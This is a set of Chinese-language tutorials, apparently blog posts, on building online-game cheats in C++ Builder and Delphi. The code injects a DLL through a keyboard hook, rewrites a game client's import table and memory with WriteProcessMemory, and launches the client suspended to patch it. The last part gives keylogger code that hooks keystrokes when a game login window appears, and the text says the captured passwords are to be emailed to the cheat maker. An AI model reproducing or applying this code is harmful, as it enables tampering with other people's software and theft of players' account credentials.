 PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((PBYTE)hmodcaller +
 pImportDesc->FirstThunk);
 for (; pThunk->u1.Function; pThunk++)
 {
  PROC *ppfn = (PROC*) &pThunk->u1.Function;
  BOOL fFound = (*ppfn == pfnCurrent);
  if (!fFound && (*ppfn > sm_pvMaxAppAddr))
  {
   PBYTE pbInFunc = (PBYTE) *ppfn;
   if (pbInFunc[0] == cPushOpCode)
   {
    ppfn = (PROC*) &pbInFunc[1];
    fFound = (*ppfn == pfnCurrent);
   }
  }
  if (fFound)
  {
   HANDLE handle1 = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
   GetCurrentProcessId());
   DWORD dwIdOld;
   VirtualProtectEx(handle1, ppfn, sizeof(pfnHook), PAGE_READWRITE, &dwIdOld);
   if (WriteProcessMemory(handle1, ppfn, &pfnHook, sizeof(pfnHook), NULL) == false)
   {
    return ;
   } 
   else
   { 
    VirtualProtectEx(handle1, ppfn, sizeof(pfnHook), dwIdOld, &dwIdOld);
    return ;
   }
  }
 }
}

  上面是APIHOOK的完整代码。下面是使用的例子(拦截WString2ID函数):

typedef unsigned long(__stdcall *WString2ID)(char const*);
unsigned long __stdcall myWString2ID(char const*);
CAPIHOOK *My_WString2ID;
My_WString2ID = new CAPIHOOK("windsoul.dll", "?WString2ID@@YGKPBD@Z",
(PROC)myWString2ID, gamehandle, gameInstance);


  自己的myWString2ID的实现:

unsigned long __stdcall myWString2ID(char const *a)
{
 // SendMessage(wghandle,WM_USER+1,(WPARAM)a,NULL);
 return (((WString2ID)My_WString2ID->m_pfnOrig)(a));
}

  下面是用来拦截游戏的WndProc函数的,当时写的时候为了全面,至于如何去用,随便自己了,反正我没有用。

gamehWnd = GetActiveWindow();
gamehandle =GetCurrentProcess();
gameInstance = (HINSTANCE)GetWindowLong(gamehWnd, GWL_HINSTANCE);
gameproc = (WNDPROC)SetWindowLong(gamehWnd, GWL_WNDPROC, (LONG) MyMsgProc);

  自己用来替换游戏的WndProc函数:

LRESULT APIENTRY MyMsgProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
 /*在这里做自己想做的事情,剩下的让游戏的WndProc来处理*/
 return CallWindowProc(gameproc, hwnd, message, wParam, lParam);
}

  这一节到这里就结束了,下一节开始游戏程序的研究。最好准备大话客户端9.16更新之前的最后一个版本,不使用最新的版本有下面的原因:

  1、 如果对现在客户端作过多的透漏的话,将会发现做盗号类的程序比做外挂要简单,这不是我所希望看到的。

  2、 新版本采用的加密办法(双精度浮点数加密)在讲解上非常的麻烦,不是一般人容易入门的,但解决的办法和9.16之前的版本一样,只是繁琐而以。

  3、 脱壳后的程序有更多的需要人工识别的部分,这会造成不必要的麻烦,免得误导大家。

  如果因为本教程引起其他的后果的话,则与本人无关,本人只讲技术实现。如果要转贴的话,请注明出处,如果有疑问或者商议的话,请发E-Mail到zeze0556@sina.com或者QQ:23033206留言,MSN:zeze0556@msn.com。另外请勿给我信箱发垃圾邮件,在添加好友的时候一定要写好附言,我已经被莫名其妙的广告信件和流言蜚语吓得没有胆了。算是我求各位大虾了

协议型网络游戏外挂制作之外挂窗口

  上一次我们说了目标程序的启动,以及对目标程序的预处理。这一节中争取可以将外挂的窗口显出来,具体能不能说这么多,只能看着办了。

  因为我决定采用最俗的办法Hook来注入线程(有时候我都觉得自己是否有必要这么做,因为Debug的办法也不错),为了程序的更普遍性和更快的移植,以及简单一点,我决定还是采用Hook。这里提前说一下,如果不懂汇编和程序调试的话,最好先补一下课,这在以后要用的。

  我们先来编写Hook.dll部分,程序的启动部分暂时不用理会了(我以后就将那部分叫做wg.exe吧),昨天着急忘了说一声了,我让屏蔽的WriteProcessMemory中的数据地址是大话9.16更新之前的最后一个版本,在9.16更新之后的版本中需要先将程序脱壳,这部分我在以后会说的,所以让大家屏蔽掉那两个写内存的操作。

对于Hook.dll来说,我们准备使用F12键来激活外挂,在CB中编写dll非常简单,建立一个dll项目工程,然后就可以添加代码了。建立工程的时候一点记得选上使用C++,使用VCL,Multi Thread这几个选项,理由:

  1、使用C++是为了让我省点口水(我将APIHOOK封装到了一个类里面)。

  2、使用VCL是因为我太懒惰,不想编写界面代码。

  3、使用多线程是因为程序必须。

  由于外挂主窗体在dll中,因此生成的dll就会比一般的dll大。窗体其实可以放到任何地方的,只是放到dll中比较方便而以,而且在说的时候可以更好的分开。

  以下是Hook.cpp的代码:

//---------------------------------------------------------------------------
#include <vcl.h>
#include <windows.h>
#include "hookapi.h"
#include "hookform.h"
#pragma hdrstop

#pragma argsused
HHOOK g_hHook = NULL;//Hook的句柄
HINSTANCE DllHinst = NULL; //Dll的句柄
HWND gamehWnd; //游戏句柄
HANDLE hThread = NULL; //线程句柄
HWND wghandle = NULL; //外挂窗口句柄
HANDLE gamehandle; //游戏窗口句柄,忘了有没有用
HINSTANCE gameInstance; //游戏的,也不知道用了没用
DWORD ThreadID; //线程ID

LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam);//键盘Hook
extern "C" __declspec(dllexport)bool EnableHook(DWORD dwThreadId);//启动Hook的函数
extern "C" __declspec(dllexport)bool DisableHook();//卸载Hook的函数,和上面的函数一样都是为了外部可以控制

DWORD WINAPI Thread1(PVOID param);//线程函数,在该函数中,将启动外挂窗口

int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
 DllHinst = hinst;//载入Dll
 return 1;
}
extern "C" __declspec(dllexport)bool EnableHook(DWORD dwThreadId)
// 导出函数EnableHook()
{
 if (g_hHook == NULL)
 // 安装新钩子
 {
  g_hHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyBoardHook, DllHinst,
dwThreadId);
  /*记得CreateProcess中的参数吗?我们传进的参数是目标程序的主线程ID,表示我们启动的是线程Hook,而不是全局Hook,这样不会对其他程序产生任何影响*/
 }
 if (g_hHook)
 {
  return true;
 }
 return false;
}
extern "C" __declspec(dllexport)bool DisableHook() // 导出函数DisableHook()
{
 /*卸载Hook,现在暂时先这样了,其实在真实的情况下如果要做的完美的话,需要做许多事情,如果直接关闭客户端的话,这样就足够了,这个函数其实并没有任何的用处,这里仅仅是为了说明外部可以主动控制外挂的启动和关闭而已*/
 if (g_hHook != NULL)
 {
  UnhookWindowsHookEx(g_hHook);
  g_hHook = NULL; // 卸掉新钩子
  return true;
 }
 return false;
}
LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
 if (nCode >= 0)
 {
  if (wParam == 123)
   //123为F12的键码,可以查看MSDN或者Windows API参考方面的书找到,自己写个小程序测试也可以
  {
   if (hThread == NULL)
   //这里确保线程启动一次,而不是多次,每一次的启动都回引入一个外挂窗口
   {
    hThread = CreateThread(NULL, 0, Thread1, NULL, NULL, &ThreadID);
    //启动线程,该线程很快执行完毕
   }
  }
 }
 return (CallNextHookEx(g_hHook, nCode, wParam, lParam));//剩下的让目标程序去处理
}


  Dll中的函数是外挂程序的核心。在线程启动成功之后,就可以卸载Hook了,这里只是为了简便,所以将Hook仍然保留。
  在CB中编程的时候,最好将程序的文件名保存成你想要的名字,别用默认的名字,默认的名字是Unit+数字组成,而不是类名之类的,这是我不喜欢CB的一个原因,另外一个原因是没有全屏幕专家界面,编写代码的时候其他的太碍事,第三个原因是可以在任意的地方写代码,我的代码又没有具体的风格,经常造成莫名其妙的错误。喜欢他的原因是因为用它开发东西太快了,而且方便,比在VC中默写代码方便多了。

  废话说完,可以添加外挂窗口的视图,在New菜单中选择New Form,如果你想New其他的话我不反对,能不能得到正确的结果我就不知道了。

  网上有不少人问怎么在游戏中弹出外挂窗口,我已经回答的有点不耐烦了。在CB中做是最方便的事情了,但得设置好控件的属性,因为我对使用VC来编写界面不熟悉,更多的时候我都是直接使用API来编写的(我没有学习MFC的打算),所以对于喜欢VC的朋友们只能说抱歉了。

  对于新窗体的属性设置是最重要的,要不然莫名其妙的错误和结果让人变得神经。下面是我对dll中窗体属性的一些总结,如果你有其他不懂的地方,可以给我E-Mail或者MSN或者QQ。

  1、 Visible属性一定要为false,否则窗体没办法移动

  2、 FormStyle属性最好为fsNormal,但一定不要是fsMDIChild或者fsMDIForm,这两个会引起莫名其妙的错误。

  3、 如果刚开始弹不出来的话,将BorderStyle属性改为bsDialog。我在后面的教程中由于要重载TForm的函数,因此这里是不是必须为bsDialog不太清楚了,毕竟是很早以前的代码了。

  其他的注意点好像没有了。下面是CreateThread调用中的Thread1函数实现:

DWORD WINAPI Thread1(PVOID param)
{
 TwgHookForm* wgHookForm;
 wgHookForm = new TwgHookForm(NULL);
 wghandle = wgHookForm->Handle;
 /*暂时将下面的发送消息屏蔽掉,我在窗体创建之后需要窗体做一部分必要动作,所以采用发送消息的机制来了,其实并不是必需这么做的,由许刚开始编写的时候,APIHOOK中的内容都是通过Message的方式来做的,这里为了方便就通过Message来弄了,算是点历史原因吧*/
 SendMessage(wghandle, WM_USER + 2, NULL, NULL);
 wgHookForm->ShowModal();
 delete wgHookForm;
 return 1;
}

  到现在为止应该可以在游戏中弹出外挂窗口了,我们的第一步也算完成了,外挂程序的平台到现在为止搭建完了,剩下的就是工具的制作和必要代码的编写。在下一节中我准备说一下APIHOOK的方法。

  如果因为本教程引起其他的后果的话,则与本人无关,本人只讲技术实现。如果要转贴的话,请注明出处,如果有疑问或者商议的话,请发E-Mail到zeze0556@sina.com或者QQ:23033206留言,MSN:zeze0556@msn.com。另外请勿给我信箱发垃圾邮件,在添加好友的时候一定要写好附言,我已经被莫名其妙的广告信件和流言蜚语吓得没有胆了。算是我求各位大虾了。

协议型网络游戏外挂制作之启动

声明: 本人只讲技术实现,因为本文引起其他的后果与本人无关。

  目前,网络游戏的外挂从程序角度主要分为辅助型的动作外挂和内核型的协议型外挂。动作外挂主要帮助玩家进行一些重复性的劳动量,网络上有许多介绍这方面的程序,按键精灵就是一个很好的例子。协议型外挂则给人一个很神秘的感觉,这方面在网络游戏上最多的恐怕是传奇的脱机外挂,这也是因为传奇 最受欢迎而已。

  在具体的讲解前,我很想扯点别的事情,毕竟学院不是我的风格,我更喜欢自由一点的。既然我们主要是针对协议型外挂的制作教程,就先扯扯网络游戏的流程和一些乱其八糟的事情,如果有冒犯你们的地方本人则不胜感激。如果你感到烦的话可以直接跳到你感兴趣的地方。

  我玩网游的历史很短,刚开始玩得是魔力宝贝,总是在免费的时候玩,在一个服务器里面呆的最长的就是在四川卧龙了,现在服务器大概早就该名或者并组了吧,在里面 我的名字叫Bluerose,名字前面带的是我的职业,小号一大堆,不过名字都是一样的。用这个名字是因为朋友说我很忧郁,但却总抱着希望,所以就用这个名字了。后来玩的是大话西游II,是朋友拉着玩的,现在虽然上了班,但偶尔还玩,里面的名字叫星泪,用的是女性玩家,因为这个名字太女性化了。在刚开始玩得时候,我觉得自己好 孤独(那时候在大学虽然旁边都是同学朋友,但内心仍然孤独),朋友拉我玩大话的时候,那天晚上星光倒不错,洒下的星光让我想起了 眼泪的感觉,所以就叫独孤星泪了,不过感觉这个名字太裸露,就将独孤二字去掉了。

  由于玩大话西游II的历史比较长,而且对大话西游的游戏也比较熟悉,所以这次的教程就用大话西游II做为目标了,但教程尽可能考虑通用性。不过提前声明,本人对网络游戏并不熟悉,因此请勿和本人 谈论网络游戏的前因后果和发展以及网游外挂对网络游戏的冲击等乱其八糟的事情。我对网络编程也是一知半解,因此我尽可能的避免含有网络的代码,同时,由于协议型的外挂需要发送数据,但可以通过其它的办法来进行(比如通过网游客户端来代理)。

  先说说服务器和客户端的通讯,由于服务器和本地的客户端不在同一个地理位置,相距比较遥远,因此数据的传输就需要一定的时间,这就决定了在网游中数据只能进行采样的收集处理而不能进行真正实时的数据处理。举例来说,局域网C-S(反恐精英)的数据处理,当你移动的时候,必须告知别的电脑玩家自己的移动,这个数据的传输由于在局域网内部,数据的传输比较快,量也比较小,电脑可以进行快速的采样和数据处理来进行判断是否打中或者移动是否违反规则(比如凌空徐步)等等,但在网络上进行玩的时候,对数据的采样就不像本地局域网那么快了,以大话西游II(以后简称大话吧,少打几个字)为例,在移动的时候,并不是将每一步的数据一个一个传送给服务器,而是将本次移动规则打成数据包提交给服务器,让后客户端开始播放动画,当服务器处理完数据之后,就会将位置回传给客户端,客户端以这个位置数据为基点,进行人物的下次移动,这个数据的采集需要隔一段时间来能进行一次采集,相对于CS来说,这个采集密度要比CS采集密度小。

  当服务器和客户端进行通讯的时候,数据包是至关重要的。数据包中数据的规则则是协议型外挂最重要的基础之一。由于网络数据可以进行拦截,为了防止数据被修改,数据包中的数据都是加密进行,至于如何加密,这由服务器和客户端通过一定的算法来执行。因此,服务器和客户端的通讯大概就是下面这个样子:

  客户端进行数据的采集===〉数据打包==〉数据加密==〉发送数据到服务器==〉服务器进行数据解密====〉服务器处理数据包==(处理完毕回传数据)==〉回传数据打包==〉回传数据加密==〉数据回传==〉客户端接收数据==〉客户端解密数据==〉客户端数据处理

  我们的目标就是数据包,即拦截游戏通讯间的数据来进行相应的修改或者进行发送伪数据包。我大概定了一个计划,不过这一节肯定不能全部讲完,我只能在下班之后写上一点,时间有限,能写多少就写多少吧。

  目标程序:大话西游II客户端。(你手上有服务器端吗?有的话我也想要)

  目标:数据包

  目的:数据包拦截,修改,伪发送

  编程软件:这个无所谓吧,不过我这里用的是C++ Builder 6,前段时间做CB 6相关的项目,而且CB 对于程序界面的编写是最方便不过的了,就是编译的有点慢和生成的程序有点大。(旁白:又不是做手机项目,担心容量吗?)我做受限程序做惯了,养成了不良习惯,没办法了。

  思路:我们的程序要干扰别的程序的运行,最好的办法是使用debug的办法,不过,我并没有打算使用debug的办法,我对程序的debug并不太熟悉,而且讨厌编写没用的代码。我准备采用线程注入的办法,至于线程注入,和为什么要线程注入才能干预,这方面的知识最好自己看看《Windows 核心编程》里面讲的,否则这个教程要没完没了了。当我们的线程注入到目标程序之后就方便多了,就可以为所欲为了。因此我们的第一目的是将线程注入到目标程序中。
 
线程注入最简单的莫过于hook了,如果连这都不知道的话,最好赶快到网上查查或者翻翻《Windows核心编程》。为了防止游戏内部存在反hook的存在和外挂的检测,我将用自己的程序来启动目标程序。由于网游的不定期更新,因此在启动程序的时候最好将升级跳过去,至少在大话这样的程序中我是这样做的,因为频繁升级和版本检测总让我等的时间太长。

  下面来进行具体的做法,我尽可能的弄出详细的步骤,如果你用的是VC或者其它的话,只要注意核心的代码就可以了。

  新建一个工程,在窗体上添加两个按钮(TButton或者其它类型的按钮),一个将标题改为启动游戏,另一个标题改为启动外挂。再添加一个TOpenDialog。对于默认的窗体那么大的界面有点浪费,因此将窗体弄得小点,别大大的怪吓人的。

  双点启动游戏的按钮就可以进行编写该按钮的事件了,默认的是OnClick事件。下面就是事件的代码:

if(FileExists(ExtractFileDir(Application->ExeName)+"//path.ini")==FALSE)

{ /*我将目标程序的路径保存到了当前程序目录中的path.ini文件中,但如果当前程序第一次运行的话,
是不存在这个文件的,所以就可以用TOpdnDialog来打开了,
做这点只是为了方便,不用每次都得点目标程序*/

if(OpenFile->Execute())
{
  AnsiString AppPath="path="+ExtractFilePath(OpenFile->FileName);
 WritePrivateProfileSection("XY2PATH",AppPath.c_str(),(ExtractFileDir(Application->ExeName)+
"//path.ini").c_str());//将目标程序的路径存到path.ini文件中。
}else
{
 return;
}
}

//下面的代码开始启动目标程序

PROCESS_INFORMATION pi;
STARTUPINFO si;
si.cb=sizeof(si);
si.lpReserved=NULL;
si.lpDesktop=NULL;
si.lpTitle=NULL;
si.cbReserved2=0;
si.lpReserved2=NULL;
si.dwFlags=STARTF_USEPOSITION;
si.dwX=0;
si.dwY=0;
char Appname[300];

GetPrivateProfileString("XY2PATH","path","",Appname,250,(ExtractFileDir(Application->ExeName)+
"//path.ini").c_str());

strcat(Appname,"//xy2.exe");
/*以上都在构建目标程序的环境设置,下面调用CreateProcess来启动目标程序,
注意将倒数第3个参数要填为目标程序的路径,
第6个参数为CREATE_SUSPENDED是为了将程序加载到内存中之后可以进行一些修改,
以更好的配合外挂程序的运行*/

if(CreateProcess(Appname,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,ExtractFileDir(Appname).
c_str(),&si,&pi)==0)
{
 //启动目标程序失败
 showMessage("error open exe file");
 return;
}
gamehandle=pi.hProcess;

/*在本节中要执行程序的话,最好将这个条件注释掉,我将在以后的教程中进行讲解,这里大概说一下功能,
第一个Write是为了跳过Update,第二个是为了退出的时候不打开网页,
我的电脑要是退出大话的时候打开网页的话,中间的时间可以抽上几根烟了,所以将程序改了*/

if(WriteProcessMemory(gamehandle,(void*)0x0042BC13,No_Update,1,NULL)==false
||WriteProcessMemory(gamehandle,(void*)0x00430a80,No_HTML,2,NULL)==false
)
return;
threadhand=pi.hThread;
gamethreadid=pi.dwThreadId;
//恢复程序,让程序执行
ResumeThread(pi.hThread);
/*下面的代码也是本节中不需要的,我将物品的有关信息存到了当前目录(外挂启动程序目录)中的item.ini文件中,
但目标程序中并不知道外挂启动程序的路径,因此我在目标程序文件夹中建立了一个名字叫path.ini文件,里面包含了item.ini的路径*/

String inipath= "path="+ExtractFileDir(Application->ExeName)+"//item.ini";
WritePrivateProfileSection("ITEM",inipath.c_str(),(ExtractFileDir(OpenFile->FileName)+
"//path.ini").c_str());

  启动程序中将启动属性设置为CREATE_SUSPENDED属性是为了考虑到程序的通用性和稳定性,在该函数之后,如果目标程序中存在有必要修改的代码的话,可以在这里进行修改,也可以对目标程序进行反反外挂的处理。其实,debug形式的外挂就可以在这里进行debug环境的建立,以及在目标程序中插入Int 3指令来进行拦截处理了(我怎么越来越感觉到自己在写调试器的教程??)。

   这节就讲到这里,如果再晚的话,我就没办法赶上公交车了,然后还得走回家,天哪,这么冷的天 ~~~~ 赶紧上传回家吧。

       请勿将文章用于任何商业场合,如果因为本教程引起其他的后果的话,则与本人无关,本人只讲技术实现。如果要转贴的话,请注明出处,如果有疑问或者商议的话,请发E-Mailzeze0556@sina.com或者QQ23033206留言,MSNzeze0556@msn.com。另外请勿给我信箱发垃圾邮件,在添加好友的时候一定要写好附言,我已经被莫名其妙的广告信件和流言蜚语吓得没有胆了。算是我求各位大虾了。

3月10日

Delphi深度之旅——网络游戏外挂制作

KeyLife富翁笔记
 

昆明 刘悦 
在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):
1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。
2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。
3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码,做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。
4、加速式,这种外挂可以加快游戏的速度。原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是先截取封包,后修改,再转发。这种外挂适用于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需要apihook技术,winsock2技术…………
  以下就用Delphi实现网络游戏外挂。

 

上回对五种类型的外挂做了一个大体的概括,大家对这几种外挂都有了一定的了解,现在就依次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~
首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。
记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:
1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:
BOOL GetCursorPos(

    LPPOINT lpPoint  // address of structure for cursor position  
   );
2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:
BOOL SetCursorPos(

    int X, // horizontal position  
    int Y  // vertical position
   );
3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:
VOID mouse_event(

    DWORD dwFlags, // flags specifying various motion/click variants
    DWORD dx, // horizontal mouse position or position change
    DWORD dy, // vertical mouse position or position change
    DWORD dwData, // amount of wheel movement
    DWORD dwExtraInfo  // 32 bits of application-defined information
   );
在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~
好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:

  getcursorpos(point);
  setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
  mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
  mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  setcursorpos(point.x,point.y);

看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:
VOID keybd_event(

    BYTE bVk, // virtual-key code
    BYTE bScan, // hardware scan code
    DWORD dwFlags, // flags specifying various function options
    DWORD dwExtraInfo  // additional data associated with keystroke
   );
我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:
UINT MapVirtualKey(

    UINT uCode, // virtual-key code or scan code
    UINT uMapType  // translation to perform
   );
好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

  keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
  keybd_event(65,mapvirtualkey(65,0),0,0);
  keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
  keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。
(看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)

 

上回我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。
    具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:
    在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):
    1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:
HWND FindWindow(

    LPCTSTR lpClassName, // pointer to class name
    LPCTSTR lpWindowName  // pointer to window name
   );
    2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:
DWORD GetWindowThreadProcessId(

    HWND hWnd, // handle of window
    LPDWORD lpdwProcessId  // address of variable for process identifier
   );
    3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:
HANDLE OpenProcess(

    DWORD dwDesiredAccess, // access flag
    BOOL bInheritHandle, // handle inheritance flag
    DWORD dwProcessId  // process identifier
   );
    在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。
    4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:
BOOL WriteProcessMemory(

    HANDLE hProcess, // handle to process whose memory is written to  
    LPVOID lpBaseAddress, // address to start writing to
    LPVOID lpBuffer, // pointer to buffer to write data to
    DWORD nSize, // number of bytes to write
    LPDWORD lpNumberOfBytesWritten  // actual number of bytes written
   );
    5、下面用CloseHandle关闭进程句柄就完成了。
    这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:
const
  ResourceOffset: dword = $004219F4;
  resource: dword = 3113226621;
  ResourceOffset1: dword = $004219F8;
  resource1: dword = 1940000000;
  ResourceOffset2: dword = $0043FA50;
  resource2: dword = 1280185;
  ResourceOffset3: dword = $0043FA54;
  resource3: dword = 3163064576;
  ResourceOffset4: dword = $0043FA58;
  resource4: dword = 2298478592;
var
  hw: HWND;
  pid: dword;
  h: THandle;
  tt: Cardinal;
begin
  hw := FindWindow('XX', nil);
  if hw = 0 then
    Exit;
  GetWindowThreadProcessId(hw, @pid);
  h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
  if h = 0 then
    Exit;
  if flatcheckbox1.Checked=true then
  begin
    WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
  end;
  if flatcheckbox2.Checked=true then
  begin
    WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
  end;
  MessageBeep(0);
  CloseHandle(h);
  close;
    这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。

以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
    在做程序之前我们必需要了解一下程序的思路:
    1、我们首先知道你想记录游戏的登录窗口名称。
    2、判断登录窗口是否出现。
    3、如果登录窗口出现,就记录键盘。
    4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
    第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
    那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
    HWND FindWindow(

      LPCTSTR lpClassName, // pointer to class name
      LPCTSTR lpWindowName  // pointer to window name
     );
    实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
    先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

    int idHook, // type of hook to install
    HOOKPROC lpfn, // address of hook procedure
    HINSTANCE hMod, // handle of application instance
    DWORD dwThreadId  // identity of thread to install hook for
   );
    在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
    而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
 if findedtitle then   //如果发现窗口后
 begin
  if (peventmsg(lparam)^.message = WM_KEYDOWN) then  //消息等于键盘按下
   hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
  if length(hookkey) > 0 then  //如果获得按键名称
  begin
   Write(hookkeyFile,hookkey); //把按键名称写入文本文件
   hookkey := '';
  end;
 end;
end;
    以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
